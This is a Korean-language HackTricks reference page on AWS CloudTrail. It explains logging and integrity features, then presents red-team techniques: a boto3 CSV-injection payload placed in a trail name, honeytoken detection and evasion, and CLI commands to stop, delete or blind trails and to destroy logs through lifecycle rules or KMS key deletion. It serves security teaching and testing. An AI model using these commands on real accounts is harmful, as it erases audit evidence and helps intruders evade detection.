AWS - CloudTrail Enum

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

CloudTrail

AWS CloudTrail은 AWS 환경 내 활동을 기록하고 모니터링합니다. 이는 AWS 리소스와의 모든 상호작용에 대해 누가, 언제, 어디서 무엇을 했는지에 대한 상세한 이벤트 로그를 캡처합니다. 이는 보안 분석, 규정 준수 감사, 리소스 변경 추적에 도움이 되는 감사 추적을 제공합니다. CloudTrail은 사용자 및 리소스 행동을 이해하고, 보안 태세를 강화하며, 규정 준수를 보장하는 데 필수적입니다.

각 로그된 이벤트는 다음을 포함합니다:

  • 호출된 API의 이름: eventName

  • 호출된 서비스: eventSource

  • 시간: eventTime

  • IP 주소: SourceIPAddress

  • 에이전트 방법: userAgent. 예:

    • Signing.amazonaws.com - AWS Management Console에서

    • console.amazonaws.com - 계정의 루트 사용자

    • lambda.amazonaws.com - AWS Lambda

  • 요청 매개변수: requestParameters

  • 응답 요소: responseElements

이벤트는 약 5분마다 JSON 파일로 새로운 로그 파일에 기록되며, CloudTrail에 의해 보관되고 최종적으로 약 15분 후에 S3로 로그 파일이 전달됩니다. CloudTrail 로그는 계정 및 지역 간에 집계될 수 있습니다. CloudTrail은 로그 파일 무결성을 사용하여 CloudTrail이 로그 파일을 전달한 이후 변경되지 않았음을 확인할 수 있도록 합니다. 이는 다이제스트 파일 내 로그의 SHA-256 해시를 생성합니다. 새로운 로그의 SHA-256 해시는 매시간 생성됩니다. Trail을 생성할 때 이벤트 선택기를 사용하여 Trail이 기록할 이벤트를 지정할 수 있습니다: 관리, 데이터 또는 인사이트 이벤트.

로그는 S3 버킷에 저장됩니다. 기본적으로 서버 측 암호화(SSE-S3)가 사용되므로 AWS는 접근 권한이 있는 사람들을 위해 내용을 복호화하지만, 추가 보안을 위해 KMS와 사용자 키를 사용한 SSE를 사용할 수 있습니다.

로그는 다음 형식의 이름을 가진 S3 버킷에 저장됩니다:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • BucketName은 **aws-cloudtrail-logs-<accountid>-<random>**입니다.

  • 예: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

각 폴더 내의 각 로그는 다음 형식의 이름을 가집니다: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

로그 파일 명명 규칙

또한, 파일 무결성을 확인하기 위한 다이제스트 파일같은 버킷 내에 있습니다:

여러 계정에서 로그 집계

  • 로그 파일을 전달할 AWS 계정에서 Trial을 생성합니다.

  • 대상 S3 버킷에 대한 권한을 적용하여 CloudTrail의 교차 계정 접근을 허용하고 접근이 필요한 각 AWS 계정을 허용합니다.

  • 다른 AWS 계정에서 새로운 Trail을 생성하고 1단계에서 생성된 버킷을 사용하도록 선택합니다.

그러나, 동일한 S3 버킷에 모든 로그를 저장할 수는 있지만, 여러 계정의 CloudTrail 로그를 단일 AWS 계정에 속한 CloudWatch Logs로 집계할 수는 없습니다.

계정에는 다른 버킷에 동일하거나 다른 로그를 저장하는 CloudTrail의 다른 Trails가 활성화될 수 있음을 기억하십시오.

모든 조직 계정에서 CloudTrail을 1개로

CloudTrail을 생성할 때, 조직의 모든 계정에 대해 CloudTrail을 활성화하고 로그를 단일 버킷으로 가져오도록 지정할 수 있습니다:

이렇게 하면 모든 계정의 모든 지역에서 CloudTrail을 쉽게 구성하고 로그를 1개의 계정에 중앙 집중화할 수 있습니다(이를 보호해야 합니다).

로그 파일 확인

로그가 변경되지 않았는지 확인하려면 다음을 실행할 수 있습니다:

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail은 로그를 CloudWatch로 자동으로 전송하여 의심스러운 활동이 수행될 때 경고를 설정할 수 있습니다. CloudTrail이 로그를 CloudWatch로 전송할 수 있도록 하려면 해당 작업을 허용하는 역할을 생성해야 합니다. 가능하면 AWS 기본 역할을 사용하여 이러한 작업을 수행하는 것이 좋습니다. 이 역할은 CloudTrail이 다음을 수행할 수 있도록 합니다:

  • CreateLogStream: CloudWatch Logs 로그 스트림을 생성할 수 있습니다.

  • PutLogEvents: CloudTrail 로그를 CloudWatch Logs 로그 스트림에 전달합니다.

Event History

CloudTrail Event History를 통해 기록된 로그를 테이블에서 검사할 수 있습니다:

Insights

CloudTrail Insights는 CloudTrail 트레일에서 쓰기 관리 이벤트를 자동으로 분석하고 비정상적인 활동에 대해 경고합니다. 예를 들어, TerminateInstance 이벤트가 기존 기준선과 다르게 증가하면 Insight 이벤트로 표시됩니다. 이러한 이벤트는 비정상적인 API 활동을 찾고 대응하는 것을 더 쉽게 만듭니다.

인사이트는 CloudTrail 로그와 동일한 버킷에 저장됩니다: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity

  • 로그가 변조(수정 또는 삭제)되었는지 확인

  • 다이제스트 파일 사용(각 파일에 대한 해시 생성)

    • SHA-256 해싱

    • 디지털 서명을 위한 SHA-256 with RSA

    • Amazon이 소유한 개인 키

  • 다이제스트 파일 생성에 1시간 소요(매 시간마다 수행)

Stop unauthorized access

  • IAM 정책 및 S3 버킷 정책 사용

    • 보안 팀 —> 관리자 접근

    • 감사자 —> 읽기 전용 접근

  • SSE-S3/SSE-KMS를 사용하여 로그 암호화

Prevent log files from being deleted

  • IAM 및 버킷 정책으로 삭제 접근 제한

  • S3 MFA 삭제 구성

  • 로그 파일 검증으로 확인

Access Advisor

AWS Access Advisor는 지난 400일 동안의 AWS CloudTrail 로그를 기반으로 인사이트를 수집합니다. CloudTrail은 AWS 계정에서 수행된 AWS API 호출 및 관련 이벤트의 기록을 캡처합니다. Access Advisor는 이 데이터를 활용하여 서비스가 마지막으로 액세스된 시점을 보여줍니다. CloudTrail 로그를 분석함으로써 Access Advisor는 IAM 사용자 또는 역할이 어떤 AWS 서비스를 언제 액세스했는지 파악할 수 있습니다. 이를 통해 AWS 관리자는 권한을 세분화하는 데 도움이 되며, 오랜 기간 동안 액세스되지 않은 서비스를 식별하고 실제 사용 패턴에 따라 과도한 권한을 줄일 수 있습니다.

따라서 Access Advisor는 사용자에게 불필요한 권한이 부여된 경우 이를 관리자에게 알려 제거할 수 있도록 합니다.

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail 내부에서 CVS injection을 수행할 수 있으며, 로그가 CSV로 내보내지고 Excel로 열리면 임의의 코드가 실행됩니다. 다음 코드는 payload가 포함된 잘못된 Trail 이름을 가진 로그 항목을 생성합니다:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

CSV 인젝션에 대한 자세한 정보는 다음 페이지를 참조하십시오:

이 특정 기술에 대한 자세한 정보는 https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/를 참조하십시오.

탐지 우회

HoneyTokens 우회

Honeyokens는 민감한 정보의 유출을 탐지하기 위해 생성됩니다. AWS의 경우, 사용이 모니터링되는 AWS 키로, 해당 키로 어떤 작업이 트리거되면 누군가 그 키를 도난당했음을 의미합니다.

그러나 Canarytokens, SpaceCrab, SpaceSiren과 같은 Honeytokens는 인식 가능한 계정 이름을 사용하거나 모든 고객에게 동일한 AWS 계정 ID를 사용합니다. 따라서 Cloudtrail이 로그를 생성하지 않도록 계정 이름 및/또는 계정 ID를 얻을 수 있다면, 해당 키가 honeytoken인지 여부를 알 수 있습니다.

Pacu에는 키가 Canarytokens, SpaceCrab, SpaceSiren에 속하는지 감지하는 몇 가지 규칙이 있습니다:

  • **canarytokens.org**가 역할 이름에 나타나거나 계정 ID **534261010715**가 오류 메시지에 나타나는 경우.

  • 최근 테스트 결과, 계정 **717712589309**을 사용하고 여전히 이름에 canarytokens.com 문자열이 포함되어 있습니다.

  • 오류 메시지의 역할 이름에 **SpaceCrab**이 나타나는 경우

  • SpaceSirenuuids를 사용하여 사용자 이름을 생성합니다: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • 이름이 무작위로 생성된 것처럼 보이는 경우, HoneyToken일 가능성이 높습니다.

키 ID에서 계정 ID 가져오기

여기에서 설명한 대로 액세스 키인코딩된 계정 ID를 얻고 Honeytokens AWS 계정 목록과 계정 ID를 확인할 수 있습니다:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

orginal research에서 더 많은 정보를 확인하세요.

로그 생성하지 않기

가장 효과적인 기술은 사실 간단합니다. 방금 찾은 키를 사용하여 공격자의 계정 내에서 일부 서비스에 액세스하면 됩니다. 이렇게 하면 CloudTrail이 피해자의 AWS 계정이 아닌 자신의 AWS 계정 내에서 로그를 생성하게 됩니다.

출력에는 계정 ID와 계정 이름을 나타내는 오류가 표시되므로 Honeytoken인지 확인할 수 있습니다.

로그가 없는 AWS 서비스

과거에는 CloudTrail에 로그를 보내지 않는 AWS 서비스가 있었습니다 (여기에서 목록 확인). 이러한 서비스 중 일부는 권한이 없는 사용자가 접근하려고 하면 (honeytoken 키) 키 역할의 ARN을 포함한 오류로 응답할 것입니다.

이 방법으로 공격자는 로그를 생성하지 않고 키의 ARN을 얻을 수 있습니다. ARN에서 공격자는 AWS 계정 ID와 이름을 볼 수 있으며, HoneyToken의 회사 계정 ID와 이름을 쉽게 알 수 있으므로 공격자는 토큰이 HoneyToken인지 식별할 수 있습니다.

CloudTrail 로그를 생성하지 않는 것으로 발견된 모든 공개 API는 이제 수정되었으므로, 직접 찾아야 할 수도 있습니다...

더 많은 정보는 original research를 확인하세요.

타사 인프라에 접근하기

일부 AWS 서비스는 데이터베이스 또는 Kubernetes 클러스터(EKS)와 같은 인프라를 생성합니다. 사용자가 이러한 서비스에 직접 접근하면 (예: Kubernetes API) AWS API를 사용하지 않으므로 CloudTrail이 이 통신을 볼 수 없습니다.

따라서 EKS에 접근할 수 있는 사용자가 EKS API의 URL을 발견하면 로컬에서 토큰을 생성하고 CloudTrail에 감지되지 않고 API 서비스에 직접 접근할 수 있습니다.

더 많은 정보는:

AWS - EKS Post Exploitation

CloudTrail 구성 수정

트레일 삭제

aws cloudtrail delete-trail --name [trail-name]

트레일 중지

aws cloudtrail stop-logging --name <trail_name>

Delete trails

aws cloudtrail delete-trail --name <trail_name>

List trails

aws cloudtrail describe-trails

List trail status

aws cloudtrail get-trail-status --name <trail_name>

List trail events

aws cloudtrail lookup-events

List trail event selectors

aws cloudtrail get-event-selectors --trail-name <trail_name>

List trail tags

aws cloudtrail list-tags --resource-id-list <trail_arn>

List trail insights selectors

aws cloudtrail get-insight-selectors --trail-name <trail_name>
aws cloudtrail stop-logging --name [trail-name]

다중 지역 로깅 비활성화

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

이벤트 선택기로 로깅 비활성화

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

첫 번째 예제에서는 단일 이벤트 선택기가 단일 객체가 포함된 JSON 배열로 제공됩니다. "ReadWriteType": "ReadOnly"이벤트 선택기가 읽기 전용 이벤트만 캡처해야 함을 나타냅니다 (예를 들어 CloudTrail 인사이트는 쓰기 이벤트를 확인하지 않음).

특정 요구 사항에 따라 이벤트 선택기를 사용자 정의할 수 있습니다.

S3 수명 주기 정책을 통한 로그 삭제

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

버킷 구성 수정

  • S3 버킷 삭제

  • CloudTrail 서비스에서의 쓰기를 거부하도록 버킷 정책 변경

  • S3 버킷에 객체 삭제를 위한 수명 주기 정책 추가

  • CloudTrail 로그를 암호화하는 데 사용된 kms 키 비활성화

Cloudtrail 랜섬웨어

S3 랜섬웨어

비대칭 키를 생성하고 CloudTrail이 해당 키로 데이터를 암호화하도록 한 다음 개인 키를 삭제하여 CloudTrail 내용을 복구할 수 없도록 할 수 있습니다. 이는 기본적으로 다음에서 설명한 S3-KMS 랜섬웨어입니다:

AWS - S3 Post Exploitation

KMS 랜섬웨어

이전 공격을 다른 권한 요구 사항으로 수행하는 가장 쉬운 방법입니다:

AWS - KMS Post Exploitation

참고 자료

AWS 해킹 학습 및 연습:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 학습 및 연습: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원

Last updated